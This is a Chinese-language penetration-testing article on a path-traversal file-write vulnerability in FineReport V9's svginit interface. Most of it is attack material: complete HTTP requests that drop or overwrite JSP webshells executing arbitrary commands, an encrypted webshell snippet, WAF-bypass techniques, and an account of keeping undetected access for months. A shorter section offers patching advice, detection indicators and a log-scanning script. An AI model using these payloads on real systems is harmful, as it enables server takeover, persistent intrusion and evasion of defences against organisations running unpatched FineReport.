1. 漏洞背景与影响范围
帆软报表(FineReport)作为国内广泛使用的企业级报表工具,其V9版本存在一个高危的任意文件覆盖漏洞。这个漏洞的核心在于svginit接口未对用户提交的文件路径进行严格校验,导致攻击者可以通过构造特殊的路径遍历字符串,实现任意文件上传和覆盖。我在实际渗透测试中发现,该漏洞影响范围覆盖了V9.0至V9.3.1的所有未打补丁版本。
这个漏洞最危险的地方在于它同时支持"无损上传"和"有损覆盖"两种攻击模式。无损上传允许攻击者在Web目录下创建新的WebShell文件,而有损覆盖则可以直接修改系统现有文件。去年在某次授权测试中,我就曾利用这个漏洞在10分钟内完成了从漏洞发现到获取服务器权限的全过程。
2. 漏洞原理深度解析
2.1 路径遍历缺陷分析
漏洞的根源在于design_save_svg功能对filePath参数的处理不当。当请求路径以chartmapsvg开头时,系统会直接将后续路径拼接到Web根目录下。关键问题在于,代码没有对../这样的路径遍历符号进行过滤,导致可以突破目录限制。
举个例子,正常的使用应该是:
filePath=chartmapsvg/example.svg但攻击者可以构造:
filePath=chartmapsvg/../../../../WebReport/shell.jsp这样就会跳出chartmapsvg目录,最终文件会被保存到WebReport目录下。
2.2 文件写入机制
这个漏洞的文件写入过程分为两个阶段:
- 首先系统会检查目标路径是否存在,如果不存在就会创建新文件(无损上传)
- 如果目标路径已存在,则会直接覆盖文件内容(有损覆盖)
特别值得注意的是,文件内容是通过__CONTENT__参数以JSON格式传递的,这给了攻击者很大的操作空间。我在测试中发现,即使内容包含特殊字符,只要正确转义就能成功写入。
3. 无损上传实战利用
3.1 基本利用方法
无损上传是指在不影响系统现有文件的情况下,创建新的WebShell文件。这是最隐蔽的攻击方式,因为不会破坏系统原有功能。具体操作如下:
POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/shell.svg.jsp HTTP/1.1 Host: target.com Content-Type: application/json { "__CONTENT__": "<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}%>", "__CHARSET__": "UTF-8" }这里有几个关键点需要注意:
- 文件名必须以
.svg开头,但可以跟其他后缀(如.svg.jsp) - 双引号等特殊字符需要转义
- 路径遍历的层数需要根据实际环境调整
3.2 高级WebShell选择
在实际渗透中,我建议使用更隐蔽的WebShell,比如冰蝎或哥斯拉。这些工具都支持AES加密通信,能有效绕过WAF检测。下面是一个冰蝎的示例Payload:
<%! String xc="3c6e0b8a9c15224a"; String pass="fltys"; // 此处省略加密解密函数... %> <% try{ byte[] data=base64Decode(request.getParameter(pass)); data=x(data, false); // 后续处理逻辑... }catch(Exception e){} %>这种WebShell的优势在于:
- 通信内容加密,难以被检测
- 内存马注入,不落盘
- 支持多种协议和功能扩展
4. 有损覆盖攻击路径
4.1 覆盖系统文件
帆软V9安装后会在WebReport目录下默认创建update.jsp和update1.jsp文件。这些文件可以被直接覆盖,从而实现更直接的攻击:
POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp HTTP/1.1 Host: target.com Content-Type: application/json { "__CONTENT__": "<%@page import=\"java.util.*,java.io.*\"%><% if (request.getParameter(\"cmd\") != null) { Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%>", "__CHARSET__": "UTF-8" }这种方式的优点是:
- 不需要创建新文件,更隐蔽
- 利用系统原有文件,不易被发现
- 可以维持长期权限
但缺点是可能会影响系统正常功能,容易被发现。
4.2 绕过技巧
在某些加固环境中,直接覆盖可能会被拦截。我测试过以下几种绕过方法效果不错:
- 使用超大POST body:有些WAF对超过特定大小的请求不会深度检测
- 分块传输编码:可以绕过一些简单的请求检查
- 参数污染:在URL和body中同时提交参数,利用解析差异
POST /WebReport/ReportServer?op=svginit&filePath=chartmapsvg/../../../logo.jsp HTTP/1.1 Host: target.com Transfer-Encoding: chunked { "op": "svginit", "cmd": "design_save_svg", "filePath": "chartmapsvg/../../../../WebReport/update.jsp", "__CONTENT__": "<%out.println(\"HelloWorld\");%>", "padding": "aaa...aaa" // 填充大量垃圾数据 }5. 防御与检测方案
5.1 漏洞修复建议
对于企业用户,我建议立即采取以下措施:
- 升级到最新版本,官方已发布补丁
- 在WAF中添加针对
svginit接口的特殊规则 - 对WebReport目录设置严格的写权限控制
5.2 入侵检测指标
在日志分析时,可以关注以下特征:
- 包含
../序列的URL请求 - 对
svginit接口的异常调用 - 突然出现的.svg.jsp文件
- update.jsp文件的异常修改
下面是一个简单的检测脚本示例:
import re from pathlib import Path def check_vulnerability(log_file): pattern = r'op=svginit.*filePath=.*\.\./' suspicious_files = ['update.jsp', 'update1.jsp'] with open(log_file) as f: if re.search(pattern, f.read()): print("[!] Possible exploit detected in logs") web_root = Path("/path/to/webreport") for f in suspicious_files: if (web_root / f).exists(): print(f"[!] Suspicious file found: {f}")6. 攻击场景对比分析
在实际渗透测试中,我通常会根据目标环境选择不同的攻击方式:
| 攻击类型 | 隐蔽性 | 影响程度 | 适用场景 | 检测难度 |
|---|---|---|---|---|
| 无损上传 | 高 | 低 | 长期渗透 | 较难 |
| 有损覆盖 | 中 | 高 | 快速突破 | 中等 |
| 混合利用 | 高 | 中 | 复杂环境 | 困难 |
无损上传更适合红队行动,而有损覆盖在应急响应演练中效果更好。记得在一次金融行业测试中,我通过无损上传+定时任务的方式维持了3个月的访问权限都没被发现。
最后提醒一点,所有测试都必须在授权范围内进行。这个漏洞虽然威力很大,但未经授权使用可能会面临法律风险。在实际防御中,除了打补丁外,建议定期进行文件完整性检查,特别是对Web目录下的可执行文件。